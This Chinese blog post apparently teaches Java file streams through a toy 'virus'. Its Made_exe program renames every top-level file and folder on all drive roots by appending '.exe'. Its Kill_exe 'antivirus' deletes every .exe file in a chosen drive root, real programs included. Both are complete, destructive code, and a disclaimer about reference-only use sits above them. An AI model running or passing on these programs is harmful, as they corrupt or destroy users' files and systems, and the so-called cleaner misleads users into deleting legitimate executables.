Java_文件流_更改文件后缀名

阅读更多
//通过在文件名后面添加.exe后缀,达到简单的文件感染目的
//申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷
package com.ming.demo;

import java.io.File;

public class Made_exe {

	public static void main(String[] args) {
		System.out.println("即将感染硬盘......");
		//获取本地硬盘盘符
		File[] roots =File.listRoots();
		for (int i = 0; i < roots.length; i++) {
			File f=new File(roots[i].toString());
			for (int j = 0; j < f.list().length; j++) {
				String fileName=(roots[i].toString()+f.list()[j]);
				File f_old=new File(fileName);
				File f_changeToExe=new File(fileName+".exe");
				if (f_old.renameTo(f_changeToExe)) {
					System.out.println("感染成功!");
				}else {
					System.out.println("感染失败!");
				}
				
			}
		}
	}

}


///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了

package com.ming.demo;

import java.io.File;
import java.util.Scanner;

public class Kill_exe {
	public static void main(String[] args){
		Scanner input =new Scanner(System.in);
		System.out.println("请输入你要查杀的盘符:");
		String diskName=input.next()+":\\";
		File f=new File(diskName);
		if (f.exists()) {
			boolean existsExe=false;
			String[] names=f.list();
			for (int i = 0; i < names.length; i++) {
				//获取文件名
				String fileName=diskName+names[i];
				File f_exe=new File(fileName);
				int start=fileName.lastIndexOf(".")+1;
				//获取后缀名
				String type=fileName.substring(start);
				//匹配EXE
				if (type.equalsIgnoreCase("exe")) {
					existsExe=true;//发现病毒
					//删除病毒
					if (f_exe.delete()) {
						System.out.println("成功删除病毒:"+fileName);
					}else {
						System.out.println("杀毒失败,病毒名:"+fileName);
					}
				}
			}
			if (!existsExe) {
				System.out.println("未发现病毒!");
			}
		}else {
			System.out.println("不存在该盘!");
		}
		System.out.println("按任意键退出......");
		if (input.next()!=null) {
			System.exit(0);
		}

		
	}
}

 

你可能感兴趣的:(java,IO,文件流,修改文件后缀名)